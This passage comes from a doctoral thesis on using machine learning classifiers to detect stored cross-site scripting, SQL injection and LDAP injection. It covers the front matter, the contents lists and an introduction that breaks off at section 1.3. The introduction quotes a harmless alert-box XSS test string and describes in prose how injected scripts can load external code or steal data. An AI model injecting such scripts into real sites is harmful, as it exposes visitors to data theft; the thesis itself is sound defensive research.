City Research Online

City St George's, University of London

Citation: Mereani, F. A. (2021). Investigating the detection of stored scripting attacks using machine learning. (Unpublished Doctoral thesis, City, University of London)

This is the accepted version of the paper.

This version of the publication may differ from the final published version. To cite this item please consult the publisher's version.

Permanent repository link: https://openaccess.city.ac.uk/id/eprint/25789/

Copyright and Reuse: Copyright and Moral Rights remain with the author(s) and/or copyright holders. Copies of full items can be used for personal research or study, educational, or not-for-profit purposes without prior permission or charge, unless otherwise indicated, provided that the authors, title and full bibliographic details are credited, a hyperlink and/or URL is given for the original metadata page and the content is not changed in any way. For full details of reuse please refer to City Research Online policy.

City Research Online: http://openaccess.city.ac.uk/ publications@citystgeorges.ac.uk

Investigating the Detection of Stored Scripting Attacks Using Machine Learning

Fawaz A. Mereani

Department of Computer Science

City, University of London

A thesis submitted in partial fulfilment of the requirement for the degree of

Doctor of Philosophy

City, University of London January 2021

To my loving parents

I dedicate this work to my parents (God have mercy on them) my magnificent father, Mr. Abdulqader Mereani, who was a great role model in me seeking knowledge, enduring difficulties and finding the bright side in life.

To my soulful mother Mrs. Zakia Wazna, where she was the mercy embodied in life. I have known from her the meaning of compassion, tolerance and sacrifice. I learned from her how to love others and wish the best for them.

I want them to be with me at this time, for this I sign this work with my tears to their parting.

To my beloved family

I dedicate this work to my family whom are all my life, where my life is limited to six people. If I wanted to write about their virtues, I need to add a chapter to this work for their own. I dedicate to my soul mate Samah Felemban, my beloved wife, who had a great impact on my encouragement and patience during my studies. I dedicate my work to my precious sister Fadia Mereani who was the light in my journey. I will not forget to dedicate my work to my most precious treasure in this life, my children Ayman, Toleen, Talia, and Eleen, whom I find encouragement and concession to continue my way.

Acknowledgements

I want to start by thanking God who supported me to carry out this work, there have been many difficulties and stresses at times, but he has helped me by opening new horizons to find solutions to these difficulties and return to my studies again. The encouragement and support provided by Dr. Jacob M. Howe, my supervisor, is greatly appreciated and I owe him a lot for his help. We have started together in this research and he guided and supported me at each step. This research under his supervision was interesting and without his support and patience, it would have been difficult to achieve. I would also wish to thank City University of London staff, especially for SMCSE community for their helpful advice and discussions. Furthermore, I would like to express my thanks to Dr. Emad Shafie who supported and encouraged me to carry on with this study. I will never forget to express my appreciation to all my friends, Khalid bin Othman, Saeed Al-Zahrani, Abdulaziz Al-Duhailan, Ahmad al-Jalili, Khayry Sultan, Ammar Abdeen, Majid al-Oqili, Ahmed al-Hawsawi, whom helped me and supported me in my daily life. Our friendship started here at UK and hopefully will continue forever. I would like to express my thanks to Ahmed Abu Laban who is my brother from another mother.

The most powerful expressions of thanks goes to my wonderful family for their endless support and for providing me with the comfort and confidence to accomplish this work. The most beautiful words of thanks to my wife, Samah Felemban, whom I wrote the letters of love for, my love, you who blew up all my energies of creativity and I became creative for you, and just for you I will become creative. My love, you have accomplished everything I wanted, passed through difficulties and reached the impossible out of your love. You have a great place in my heart, and it increases day by day. The best words of thanks and kindness to my children Ayman, Toleen, Talia

and Eleen, who surrounded me with love. The most valuable meanings of thanks to my sister Fadia Mereani for her help, patience, sympathy and support that gave me the ability to complete my research, as you were the spotlight on my way. These are the least expressions of thanks to those people who have had the greatest impact in my life.

Declaration

I hereby declare that except where specific reference is made to the work of others, the contents of this thesis are original and have not been submitted in whole or in part for consideration for any other degree or qualification in this, or any other university. This thesis is the result of my own work and includes nothing which is the outcome of work done in collaboration. I grant powers of discretion to the City, University of London librarian to allow the thesis to be copied in whole or in part without further reference to myself (the author). This permission covers only single copies made for study purposes.

Fawaz A. Mereani

January 2021

Abstract

Web applications now play an essential role in our daily lives; through them we can make bank transfers, purchase products and/or make bookings on the Internet. This makes them a target for attackers who will attempt to exploit security vulnerabilities in web applications in order to obtain access to sensitive user information or gain unauthorized privileges. One of the most common attacks aimed at stealing user information is Cross-Site Scripting; this is ranked among the top 10 security vulnerabilities in web applications. Traditional defense systems rely on a signature database describing known attacks; however, XSS attacks written in JavaScript are very variable; they do not exist only in a single form. The most common cause of XSS security vulnerabilities is weakness of verification of the user's input. This provides the motivation for finding a method for identifying malicious code, written in JavaScript, that an attacker attempts to have executed on the server.

Machine learning has contributed to the security of web applications. Several studies have been conducted in relation to Intrusion Detecting Systems (IDS) which detect and prevent attacks against web applications. Cross-Site Scripting is one of the attacks that has been studied employing a number of methods: for example, using features to identify obfuscated scripts or using JavaScript keywords, evaluating machine learning algorithms in term of detecting attacks against web applications such as random forest, and SVM. These studies have achieved highly accurate results by using machine learning to detect XSS attacks. They often attained better results than dynamic and static analysis in terms of acting as a protection layer for web applications.

This present study will demonstrate the use of machine learning methods, incorporated into a web application at the user input validation stage - prior to the request being passed to the application server. Classifiers will be used to prevent persistent or stored XSS attacks, which are caused by malicious code injections via an input point in the web application. This study relies on supervised machine learning and the application of Boolean feature sets, in order to achieve ease and speed of classification. Furthermore, this study examined the use of such methods

on two other types of injection attacks: SQL-i and LDAP. Cascading classifiers and ensemble techniques were used to reduce complexity while maintaining accuracy and speed. To understand how a decision is made in the classifier, an approximate Boolean function is extracted; this is done based on the techniques which have been employed to extract rules from black box classifiers.

Table of contents

List of figures **xix**

List of tables **xxi**

1 Introduction **1**

1.1 Motivation and Research Objectives 3

1.2 Problem Description and Research Challenges 9

1.3 Scope of the Research 10

1.4 Contributions 11

1.5 Research Method 12

1.5.1 Collecting Data 13

1.5.2 Extracting Features 13

1.5.3 Training Classifiers 13

1.5.4 Evaluation 14

1.6 Thesis Outline 14

1.7 Publication 15

2 Background and Related Works **17**

2.1 Introduction 17

2.2 Web Application Overview 18

2.2.1 The Concept of the Web Application 18

2.2.2 Web Application Architecture 18

2.2.3 HTTP Requests 20

2.3 Web Application Security 21

2.3.1 Hacking 22
2.3.2 Types of Hacking 22
2.3.3 Web Application Vulnerabilities 23
2.4 Cross-Site Scripting 26
2.4.1 History 26
2.4.2 Cross-Site Scripting Types 29
2.4.2.1 Stored or Persistent XSS: 29
2.4.2.2 Reflected or Non-persistent XSS: 30
2.4.2.3 DOM based XSS: 30
2.4.2.4 Induced XSS: 31
2.4.3 Dangers caused by XSS 34
2.5 Obfuscation of Malicious Code 38
2.5.1 Obfuscation Methods 39
2.5.1.1 Using ASCII or Unicode values 40
2.5.1.2 Using the XOR operation 40
2.5.1.3 Splitting the string 40
2.5.1.4 Compressing a string and replacing with a meaningless string 40
2.6 Cross-Site Scripting — Types of Analysis 42
2.6.1 Static Analysis 43
2.6.2 Dynamic Analysis 44
2.6.3 A Combination of Static and Dynamic Analysis 45
2.6.4 Machine Learning Analysis 45
2.7 Machine Learning Overview 46
2.8 Machine Learning Types 47
2.8.1 Supervised Learning 47
2.8.2 Unsupervised Learning 48
2.8.3 Reinforcement Learning 49
2.9 Supervised Learning 49
2.9.1 Classification 50

2.9.2 Regression 51
2.10 Related Works 51
2.10.1 Static / Dynamic Analysis 52
2.10.2 Machine Learning Analysis 57
2.11 Summary 69

3 Datasets, and Features 73
3.1 Introduction 73
3.2 Collecting Scripts and Normal Text 74
3.2.1 Benign Scripts and Normal Text Data 75
3.2.2 Malicious Scripts, SQL-i and LDAP Data 75
3.3 Datasets 76
3.3.1 Cross-Site Scripting Datasets 77
3.3.2 SQL-i Datasets 78
3.3.3 LDAP Datasets 78
3.3.4 Normal Text Datasets 79
3.4 Cleansing Datasets 79
3.5 Selecting Features 81
3.5.1 Non-alphanumeric Features 83
3.5.1.1 Punctuation Group Features 83
3.5.1.2 Special Characters Group Features 84
3.5.2 Alphanumeric Features 86
3.5.2.1 XSS Alphanumeric Features 87
3.5.2.2 SQL-i and LDAP Alphanumeric Features 92
3.5.3 Text Features 94
3.6 Extracting Features 95
3.7 Representing Features 95
3.8 Features Correlation 96
3.9 Summary 98

4 Classifiers and Initial Results **99**
4.1 Introduction 99
4.2 Classifiers 100
4.3 Fitting the Models 101
4.3.1 Decision Tree Classifier 101
4.3.2 Support Vector Machine Classifiers 103
4.3.2.1 SVM Parameters Adjustment 105
4.3.2.1.1 BoxConstraint Parameter: 105
4.3.2.1.2 OutlierFraction Parameter: 105
4.3.3 k-Nearest Neighbours Classifier 106
4.3.4 Random Forest Classifier 108
4.3.5 Neural Network Classifier 109
4.4 Evaluation Methods 111
4.4.1 Cross Validation 111
4.4.2 Holdout 112
4.4.3 Measurement Criteria 112
4.4.3.1 Accuracy 113
4.4.3.2 Precision 113
4.4.3.3 Sensitivity 114
4.4.3.4 Specificity 114
4.5 Initial Results 114
4.5.1 Text Classifier 115
4.5.2 Cross-Site Scripting Classifiers 117
4.5.2.1 Support Vector Machine - Linear Kernel Classifier 117
4.5.2.2 Support Vector Machine - Polynomial Kernel Classifier 119
4.5.2.3 k-Nearest Neighbours Classifier 121
4.5.2.4 Random Forest Classifier 122
4.5.2.5 Neural Network Classifier 124
4.5.2.6 Discussion 125

4.5.3 SQL-i Classifiers 126
4.5.3.1 Support Vector Machine - Linear Kernel Classifier 127
4.5.3.2 Support Vector Machine - Polynomial Kernel Classifier 128
4.5.3.3 k-Nearest Neighbours Classifier 129
4.5.3.4 Random Forest Classifier 131
4.5.3.5 Neural Network Classifier 132
4.5.3.6 Discussion 133
4.5.4 LDAP Classifiers 134
4.5.4.1 Support Vector Machine - Linear Kernel Classifier 135
4.5.4.2 Support Vector Machine - Polynomial Kernel Classifier 136
4.5.4.3 k-Nearest Neighbours Classifier 137
4.5.4.4 Random Forest Classifier 139
4.5.4.5 Neural Network Classifier 140
4.5.4.6 Discussion 141
4.6 Classifiers Timing Performance 142
4.7 Summary 143

5 Classification of Injection Attacks 145
5.1 Introduction 145
5.2 Motivation 146
5.3 Multi-Class Datasets 146
5.4 Multi-Class Features 147
5.5 Multi-Class Classifiers 147
5.6 Multi-Class Results 147
5.6.1 Support Vector Machine - Linear Kernel Results 148
5.6.2 Support Vector Machine - Polynomial Kernel Results 148
5.6.3 k-Nearest Neighbour Results 149
5.6.4 Random Forest Results 150
5.6.5 Neural Network Results 151

5.7 Timing Performance 152
5.8 Discussion 153
5.9 Summary 155

6 Combining Classifiers and Ensemble Techniques 157
6.1 Introduction 157
6.2 Ensemble Techniques Overview 158
6.2.1 Bagging 159
6.2.2 Boosting 159
6.2.3 Stacking 159
6.3 Ensemble Techniques in Intrusion Detection Systems 160
6.4 Proposed System 162
6.4.1 Phase 1: Text Classification 162
6.4.2 Phase 2: Script Classification 163
6.4.2.1 Base Level 163
6.4.2.2 Meta Level 163
6.5 Datasets 164
6.5.1 Training Datasets 165
6.5.1.1 Text Dataset 165
6.5.1.2 Script Dataset 165
6.5.1.3 Meta Dataset 165
6.5.2 Testing Dataset 166
6.6 Features 166
6.6.1 Text Features 166
6.6.2 Script Features 167
6.6.3 Meta Features 167
6.7 Classifiers 167
6.7.1 Text Type Classifier 168
6.7.2 Script Type Classifier 168
6.8 Cross Validation Evaluation 169
6.8.1 Text Type Classification 169

6.8.2 Script Classification: Base Level 169
6.8.3 Script Classification: Meta Level 170
6.9 Testing Performance 170
6.9.1 Testing the Text Classifier 171
6.9.2 Testing Script Classifiers 171
6.10 Testing The Entire System 172
6.11 Timing Performance 174
6.12 Summary 176

7 Rule Extraction from Black Box Classifiers 179
7.1 Introduction 179
7.2 Explainable Artificial Intelligence Overview 180
7.3 Rule Extraction Overview 181
7.4 Minimising Boolean Expressions Overview 187
7.5 Proposed Rule Extraction Approach 188
7.5.1 Datasets 189
7.5.2 Selected Features 189
7.5.3 Classifier 190
7.5.4 Sampling 191
7.5.5 Extracting Rules 194
7.6 Results 194
7.6.1 Neural Networks Classifiers Performance 194
7.6.2 Rule Extraction 196
7.6.3 Timing 197
7.7 Sampling Algorithm Modifications 198
7.8 NN Rules Using 32/64/128 Samples 198
7.9 k-NN Rules Using 32/64/128 Samples 201
7.9.1 k-NN Rules 203
7.9.2 k-NN Timing Performance 205
7.10 SVM Rules Using 32/64/128 Samples 206
7.10.1 SVM Rules 207

7.10.2 SVM Timing Performance 209
7.11 Rules Representation 210
7.12 Rules Distribution 212
7.12.1 NN Probabilities Distribution 213
7.12.2 k-NN Probabilities Distribution 213
7.12.3 SVM Probabilities Distribution 215
7.13 Discussion 217
7.14 Summary 221

8 Conclusion 223
8.1 Summary of the Thesis 223
8.2 Research Discussion 225
8.3 Research Contributions 228
8.4 Limitations 229
8.5 Future Work 230

References 233

Appendix A Punctuation Group Features 249
A.1 Punctuation Group Features - Description 249

List of figures

1.1 Method of a Cross-Site Scripting Attack [146] 4
1.2 Vulnerabilities Allowing Attacks Against Users [158] 5

2.1 Web Application Architecture [209] 19
2.2 OWASP Top 10 for 2017 [133] 23
2.3 Stored or Persistent XSS 30
2.4 Reflected or Non-persistent XSS 31
2.5 DOM-XSS Workflow [121] 32
2.6 A Real-World Obfuscated Drive-by Download [217] 39
2.7 The Process of Supervised ML [111] 50
2.8 Process of Vulnerability Detection [117] 57
2.9 Evaluation of Likarish Classifiers [115] 58
2.10 Likarish Classifiers Real World Performance Evaluation [115] . . . 58
2.11 Nunan Results Using Naive Bayes and Support Vector Machines [144] 59
2.12 Wang ADTree Classifier Evaluation [201] 60
2.13 Wang ADABoost Classifier Evaluation [201] 60
2.14 Wang Features Set [202] 62
2.15 Wang Results of ADTree, Nave Bayes, and SVM classifiers [202] . 63
2.16 Aebersold's Approach Features Set [2] 64
2.17 Aebersold Results of Distinguishing Between Obfuscated and Non-Obfuscated [2] 64
2.18 Aebersold Results of Distinguishing Between Malicious and Benign Scripts [2] 65

2.19 The Features that Used with Khan's Classifiers [99] 66
2.20 Results of Khan's Classifiers [99] 67
2.21 Komiya Features Groups [108] 67
2.22 Komiya's Datasets [108] 68
2.23 Komiya's Classifiers Evaluation [108] 68

3.1 Obfuscated Script Example 81
3.2 XSS Dataset Tetrachoric Correlation 97

6.1 Ensemble Stacking Method [185] 160
6.2 XSS Preventing System. 164

7.1 Number of Occurrences of the Samples in a NN 214
7.2 Number of Occurrences of the Samples in a k-NN 215
7.3 Number of Occurrences of the Samples in a SVM 217

List of tables

2.1 Summary of Static and Dynamic Analysis 57
2.2 Summary of Machine Learning Analysis 71

3.1 Number of Collected Data 75
3.2 Cross-Site Scripting Dataset 78
3.3 SQL Injection Datasets 78
3.4 LDAP Injection Datasets 78
3.5 Normal Text Datasets 79
3.6 Non-alphanumeric Features (Punctuation) 84
3.7 Non-alphanumeric Features (Special Characters) 85
3.8 XSS Alphanumeric Features 87
3.9 SQL-i and LDAP Features 93
3.10 Text Features 94
3.11 Features Correlations Results 97

4.1 Text Classifier Optimisation 102
4.2 Misclassification Rate of k-NN Classifier 107
4.3 Number of Trees Optimisation 108
4.4 Optimising Neural Network Classifier 110
4.5 Confusion Matrix 112
4.6 Computer Specifications 115
4.7 Text Classifier Cross Validation 116
4.8 Text Classifier Performance 117
4.9 XSS Support Vector Machine-Linear Cross Validation 118

4.10 XSS Support Vector Machine-Linear Kernel Classifier Performance 118
4.11 XSS Support Vector Machine-Polynomial Kernel Cross Validation . 119
4.12 XSS Support Vector Machine-Polynomial Kernel Classifier Performance 120
4.13 XSS k-Nearest Neighbours Cross Validation 121
4.14 XSS k-Nearest Neighbours Classifier Performance 122
4.15 XSS Random Forest Cross Validation 123
4.16 XSS Random Forest Classifier Performance 123
4.17 XSS Neural Network Cross Validation 124
4.18 XSS Neural Network Classifier Performance 125
4.19 SQL-i Support Vector Machine-Liner Kernel Cross Validation . . . 127
4.20 SQL-i Support Vector Machine-Liner Kernel Classifier Performance 128
4.21 SQL-i Support Vector Machine-Polynomial Kernel Cross Validation 128
4.22 SQL-i Support Vector Machine-Polynomial Kernel Classifier Performance 129
4.23 SQL-i k-Nearest Neighbours Cross Validation 130
4.24 SQL-i k-Nearest Neighbours Classifier Performance 130
4.25 SQL-i Random Forest Cross Validation 131
4.26 SQL-i Random Forest Classifier Performance 132
4.27 SQL-i Neural Network Cross Validation 133
4.28 SQL-i Neural Network Classifier Performance 133
4.29 LDAP Support Vector Machine-Linear Kernel Cross Validation . . . 135
4.30 LDAP Support Vector Machine-Linear Kernel Classifier Performance 136
4.31 LDAP Support Vector Machine-Polynomial Kernel Cross Validation 137
4.32 LDAP Support Vector Machine-Polynomial Kernel Classifier Performance 137
4.33 LDAP k-Nearest Neighbours Cross Validation 138
4.34 LDAP k-Nearest Neighbours Classifier Performance 138
4.35 LDAP Random Forest Cross Validation 139
4.36 LDAP Random Forest Classifier Performance 140

4.37 LDAP Neural Network Cross Validation 141
4.38 LDAP Neural Network Classifier Performance 141
4.39 Timing of Classifiers Performance 143

5.1 Multi-Class Datasets 146
5.2 SVM-L Multi-Classification Performance 148
5.3 SVM-P Multi-Classification Performance 149
5.4 k-NN Multi-Classification Performance 150
5.5 RF Multi-Classification Performance 150
5.6 NN Multi-Classification Performance 151
5.7 Multi-Class Classifiers Performance Timing 152

6.1 Decision Tree Text Type Classifier Evaluation. 169
6.2 Base Level Classifiers Evaluation 170
6.3 Meta Level Classifiers Evaluation 170
6.4 First Phase: Text Classifier Performance 171
6.5 Base Level Testing Performance 172
6.6 Meta Level Testing Performance 172
6.7 Entire System Confusion Matrix 173
6.8 Entire System Performance 173
6.9 Time Performance 174

7.1 Selected Features. 191
7.2 Neural Network Classifier Performance Using 65 Features 195
7.3 Neural Network Classifier Performance Using 34 Features 195
7.4 Neural Network Classifier Performance Using 16 Features 195
7.5 Classifier Rules Using 16 Features 195
7.6 Extracted Results Using 1, 2, 4, 8, 10, 12, and 16 Features 196
7.7 Numbers of Rules as Related to Numbers of Selected Features . . . 197
7.8 Timing of Rule Extraction from the Classifier. 197
7.9 Extracted Results From NN Using 32/64/128 Samples 200
7.10 Numbers of NN Rules Using 32/64/128 Samples 200

7.11 Timing of Rule Extraction from NN Classifier Using 32/64/128 Samples 201
7.12 k-NN Classifier Performance Using 65 Features 202
7.13 k-NN Classifier Performance Using 34 Features 203
7.14 k-NN Classifier Performance Using 16 Features 203
7.15 k-NN Classifier Rules Using 16 Features 203
7.16 Extracted Results From k-NN Using 32/64/128 Samples 204
7.17 Numbers of k-NN Rules Using 32/64/128 Samples 205
7.18 Timing of Rule Extraction from k-NN Classifier Using 32/64/128 Samples 205
7.19 SVM Classifier Performance Using 34 Features 206
7.20 SVM Classifier Performance Using 16 Features 207
7.21 SVM Classifier Rules Using 16 Features 207
7.22 Extracted Results From SVM Using 32/64/128 Samples 208
7.23 Numbers of SVM Rules Using 32/64/128 Samples 209
7.24 Timing of Rule Extraction from SVM Classifier Using 32/64/128 Samples 209
7.25 Initial Rules from Truth Table 210
7.26 Minimized Rules from Truth Table 210
7.27 Extracted Features Values 211
7.28 Comparison Row in the Truth Table 212
7.29 Number of Occurrences of Samples and Testing in a NN 213
7.30 Number of Occurrences of the Samples in a k-NN 215
7.31 Number of Occurrences of the Samples in a SVM 216

Chapter 1

Introduction

Web application security is an important field within information security - because of the public's need to use such applications to perform the normal requirements of daily life. Web application vulnerabilities include system flaws or weaknesses in such applications leading to a lack of validation or sanitizing of inputs, the misconfiguration of web servers and design flaws which can be exploited to threaten an application's security. Vulnerabilities arise from the user's need to interact with the web application. These vulnerabilities have been used by attackers to damage and exploit such applications – attacks include SQL injections (SQL-i), insecure cryptographic storage, Cross Site Scripting (XSS) and so on. The most common security weakness in web applications is the lack of verification of the client input or of the environment [164]. Multiple client-side and server-side vulnerabilities, like SQL injection and Cross-Site Scripting weaknesses, are discovered and exploited by hackers. SQL injection attacks and Cross-Site Scripting vulnerabilities have been ranked as the top vulnerabilities in terms of being exploited by the Open Web Application Security Project (OWASP) in their top ten vulnerabilities list [150]. In the first published form of this list, "OWASP Top 10" from 2004 to 2017, various Cross-Site Scripting (XSS) vulnerabilities comprised all the top 10 web application security bugs. This kind of attack is doubly dangerous as it forms the basis for other kinds of attacks[161]: such as the dynamic loader attack, where setting a $< script >$ tag within the $< head >$ section is used to connect to an external page to download

code to be executed. XSS holds comprises 43% of all reported vulnerabilities [99]. The attack can be applied by inserting a script into the client side to be saved in the web application server - which then attacks visitors (victims). Such code can be written in any scripting language: e.g., JavaScript or VB Script, for example. JavaScript is the language mostly used by attackers, but other script languages may also be used [122]. Web application vulnerabilities occur because web application developers can make mistakes, such as not verifying a user's input or not cleansing the inputs, which lead to vulnerabilities. Moreover, the valuing of a web application developer's work generally depends on the final form of the application and the functionality it offers to the end user, rather than its security. Also, strict time constraints often do not give developers enough time to conduct an accurate security analysis of the applications they are involved with developing. These circumstances can lead to the existence of vulnerabilities in web applications [105]. Thus, the attacker exploits these factors to attack the user's browser. For example, the user opens more than one tab in the browser, which contains many interesting headlines, videos, ads, and a site to pay tickets, all of which share the use of JavaScript. When you click on an advertisement, it is redirected to another page, as this page contains a script that connects to a banking website and quietly transfers money from the user's account to the attacker's account or card. It is worth noting here that the same-origin policy (SOP) eliminates this issue, but attackers use different methods to exploit vulnerabilities in web applications and to bypass the same-origin policy (SOP). Application vulnerabilities can help attackers by enabling them to embed fragments and malicious code in page content. Another example, what if an attacker could bypass web application filters and store a script in the web application's database and then the user visits this page. The script will be executed on the user's browser. It is possible that the attacker may obtain sensitive data from the user and the simplest attack is to frighten the user by displaying a message on the user's browser by using $< script > alert(\text{"}Hacked\text{"}) < /script >$ [159].

Some studies and experiments have been conducted to discover vulnerabilities in web applications, relating to, e.g., SQL injection and Cross-Site Scripting (XSS).

These studies have addressed the vulnerabilities in web applications that enable the attacker to insert malicious code into the application.

An example of a famous Cross-Site Scripting attack from the past ten years is that which exploited the ASDA Supermarket website. This attack provided hackers with the opportunity to collect customer information and payment details [199].YouTube has been affected by an XSS attack whereby the attacker injected code into the comments section. That code might lead to pop-up screens featuring fake news, or links to adult sites [19]. Another example of a site which has been subjected to such attacks is eBay - which was affected by an XSS attack which redirected users to harmful sites [114]. The vulnerabilities exploited in the above examples were of the (mostly persistent) Cross-Site Scripting type. In this thesis, Cross-Site Scripting vulnerabilities have been selected for investigation, furthermore, persistent or stored types will be the focus of attention.

1.1 Motivation and Research Objectives

Web application vulnerabilities is a big area of research and there are various types of vulnerabilities which must be considered. Cross-Site Scripting (XSS) is a widespread, serious, and dangerous type of attack [150]. As discussed above, the associated vulnerability allows the attacker to steal sensitive information from users. An attack occurs by injecting malicious code which has been written in JavaScript or any other scripting language into a web application input point: such as an input box, a comment box, a username/password box or guest box. Malicious code affects the user's browser, allowing the attacker to obtain sensitive information from the victim. Figure 1.1 illustrates a Cross-Site Scripting attack. From the figure, it can be observed that the attacker injects malicious script via an input point in the web application where it is then then stored in the application database. When the user requests the page that contains the malicious script, the malicious script will be executed on the user's device (browser), thus allowing the attacker to obtain the sensitive information of the user (victim).

Fig. 1.1 Method of a Cross-Site Scripting Attack [146]

In 2018, 70 types of weaknesses have been found in web applications. Cross-Site Scripting (XSS) vulnerabilities are present in many web applications. The securing of sensitive data is a significant problem in relation to web applications, since protecting sensitive user information is a priority in the information security field. Web application vulnerabilities: statistics for 2018 [158] state that 91% of personal data is susceptible to leakage.

Cross-Site Scripting attacks are of particular interest in this present study; over the years Cross-Site Scripting has emerged as the means by which vulnerable sites are attacked in most cases. It was estimated that the percentage of sites with XSS vulnerability increased from 77.9% in 2017 to 88.5% in 2018; such vulnerabilities can have serious consequences, as confirmed by the various headline-grabbing data breaches. Figure 1.2 shows the rise of XSS vulnerabilities in 2018 alongside the

percentage of all attacks against the user that were caused by such a vulnerability [158]. As can be seen from the figure, the percentage of XSS attack is 88.5%.

Fig. 1.2 Vulnerabilities Allowing Attacks Against Users [158]

There are two approaches to resolve this issue, which are aimed at protecting web applications and users (server-side, client-side), namely, attack detection and attack prevention. This study focuses on the server-side, so detection and prevention of XSS attacks will be defined on this principle. XSS attack detection can be defined as analysing the web request and server response [75].Preventing XSS attacks is disallowing malicious input to reach the server. Standard methods to prevent injection attacks are filtering and sanitisation which are the predominant methods for preventing XSS attacks against web applications [206]. These methods have several techniques [172] which can be summarised here:

- **Escaping Input:** It is a process to ensure that the application receives secure data before processing it, a special character, such as (<) encodes to (&lt), might otherwise be deciphered as harmful code. As this method allows controlling the inputs that goes to the web application server [196]. In other words, this process removes unwanted data such as malformed HTML or script tags, to prevent this data from appearing as code. This is done by converting control characters into its own escape sequence. Subsequently, the characters follow the control characters are not interpreted as XML tag instead of XML content

[32]. An example of an escape technique

Create an escape function ($string) {

return htmlspecialchars($string, ENT_QUOTES, ‘UTF-8‘)};

<?phpfunction escape

- **Input Validation:** This refers to the process of ensuring that the input data is benign and does not contain unexpected characters or malicious values, as it prevents users from entering special characters into the fields altogether [196].This technique is to ensure that the data is only in the correct form to be processed, which prevents malformed data from accessing the database. Input validation should happen as the data is received from the external party. The validation of the input is done using two strategies, which are syntactical, where the validation is done by enforcing the correct syntax of structured fields such as the date, or the currency symbol and semantic, where the values are force to be entered in the specified business context such as start date is before end date, or price is within expected range [152].

- **Sanitising Input:** This technique analyses the input and then cleans it of harmful markup and changes the unacceptable inputs into an acceptable format [196]. In other words, it transforms the input values to match the security specifications and no longer poses a security threat to the web application when passed to it. Typically, it removes the special characters that have special meaning in the context or truncates the length of the input [14].

- **Whitelisting Values:** This technique allows only valid known values to be entered, for example if the web application expects eye colour to be entered, it is better if the field receives only alphabetic letters instead of numbers or special characters or it can be a limited list of prescribed values [196]. It can be defined as allowing specific behaviours within a web application, quite unlike the blacklist as it involves blocking specific behaviours. Some security solutions employ both techniques [186].

- **Content-Security Policy:** This technique allows the developer of the web page to specify where JavaScript and other potentially harmful methods can be launched and implemented. The content security policy ensures that inline JavaScript is not executed, which may prevent some XSS attacks. In other words, it is a mechanism that allows web application developers to specify client-side resources that can be executed by the browser. The functionality of Content-Security Policy can be divided into three categories. Resource loading restrictions, it is the limitation of the ability to download various sub-sources of the set of origins permitted by the developer. Commonly used directives are script-src, style-src, img-src and catch-all default-src, several additional configuration options are available which allow for more precise control of scripts. Auxiliary URL-based restrictions, it is a concept of trusted origins that the document can interact with. An example is the frame-ancestors directive, which specifies which origins are allowed to frame the document in order to prevent clickjacking. Likewise, base-uri and form-action specify which URLs can be targets of <base # href> and <form # action> elements in order to prevent some XSS attacks. Lastly, miscellaneous confinement and hardening options, is the use of block-all-mixed-content and upgrade-insecure-requests keywords, which prevents mixed content errors and improves HTTPS, plugin types, by restricting the allowed plugin formats, and sandbox, which mirrors the HTML5 sandbox security frames [205].

- **Trusted Types:** A technique that allows developers to maintain the use of potentially insecure DOM APIs, but prevent injections by requiring their arguments to be created securely by a centralised policy code. This technique is based on three objects which are: TrustedHTML interface, a string that a developer can confidently insert into injection source that will display it as HTML; TrustedScript, a string with a non-compiled script that the developer can confidently pass to the injection source that may lead to the execution of that script; TrustedScriptURL, a string that a developer can confidently pass to

the injection source that it will parse as the URL of an external script resource. These objects are immutable wrappers around a string [110].

This present research is one of many studies dealing with the XSS issue [63, 106, 117, 122, 164, 180]. Researchers in this field have proposed a number of different approaches and techniques, such as primitive markup language elements [137, 192], blacklists, whitelists [106], combinations of static and dynamic techniques [195], and so on. It can be noted that all previous studies benefited from using the techniques mentioned above to detect and prevent XSS attacks. However, this study differs from other studies as it relies on analysing the input data that is entered into the web application in any form. In this way, several techniques to prevent XSS attacks were ignored, namely: escaping input, input validation, sanitising input, whitelisting values. It differs in the content security policy, and trusted types where this study does not place restrictions on user input or on URLs where the user can enter any type of text (benign or malicious) and then it will be analysed to detect malicious scripts and prevent it access to the web application and allow benign scripts to access the application and database.

Machine learning techniques have also successfully contributed to the detecting of XSS attacks [115, 163]. Supervised machine learning techniques can overcome most of the problems mentioned earlier, because they are capable of detecting the widest range of malicious scripts, and can adapt to changes and variations [108]. However, there are some challenges facing machine learning to achieve a high accuracy classification in the security field, these challenges are the size of the dataset and an imbalanced dataset [3]. A training dataset requires large amounts of data, which is hard to find and expensive [153].]. Imbalance of a training dataset occurs because malicious data is more difficult to obtain than normal data [89].

Current studies that use machine learning have achieved good results in terms of detecting attacks, but there are a number of weaknesses in these studies. One of the most significant weaknesses has been the reliance on certain specific datasets which have either been created by automatic processes which it is possible that there are mislabelled or create similar style of instances, or are too small to cover

all the possibilities of attack. Moreover, studies have relied on the calculation of features, and this may cause slow decision-making, or on features which are specific to particular forms of attack, but do not help in the detecting of other forms. The existing approaches will be discussed in detail in Chapter 2.

The machine learning approach has been chosen in this present study for the detection and prevention of Cross-Site Scripting attacks on the server side. Furthermore, this present study has used a manually created dataset which covers as many attacks as possible - to avoid the above mentioned weaknesses in terms of datasets. Moreover, here, we use a method to extract features which is simple and effective and does not require the making of complex calculations to identify them.

The research aim is addressed through the following main objectives:

- O1: Use supervised machine learning on the server-side as a protection layer to detect and prevent XSS attacks, with very high accuracy, against web applications and to act as a protective layer for the web application server.
- O2: Develop a method for filtering the inputs in order to increase the classification accuracy rate.
- O3: Develop a method which allows for the understanding of the decision making in the classifier. For web developers and web application security.

1.2 Problem Description and Research Challenges

Securing web applications is now a priority in the security field, this is because of their (web applications') many uses in our daily lives. Many studies have been undertaken in this area of using machine learning to protect web applications from attacks. This is especially so in relation to XSS attacks because there is still a lack of systems which are able to detect such attacks in real time. Furthermore, existing methods take significant amounts of time to extract the necessary features from the input data, and this affects the performance of the web application. In addition, the datasets which have been used to train classifiers have contained a fairly small

number of malicious instances, or they have been automatically generated which may contain one form of the instances.

Thus, the challenges of this research can be summarized as follows:

- Creating a dataset that contains malicious instances from various representative sources.
- Extracting and using a set of features which allow for relatively simple and fast processing.
- Developing a technique based on machine learning which is a form of dynamic analysis, analysing the user input in order to detect XSS attacks written in JavaScript.
- Developing a technique which can recognize new patterns forming part of an XSS attack.
- Developing an approach to increasing classification accuracy while maintaining performance in terms of speed.
- Evaluating the results and comparing the proposed approach with existing approaches.
- Extracting the rules that can serve to explain the operation of the machine learned classification processes.

The question that is primarily addressed in this research is: ***How effective is the use of supervised machine learning algorithms in detecting Cross-Site Scripting attacks, and how effective are simple features in relation to the performance of classifiers?***

1.3 Scope of the Research

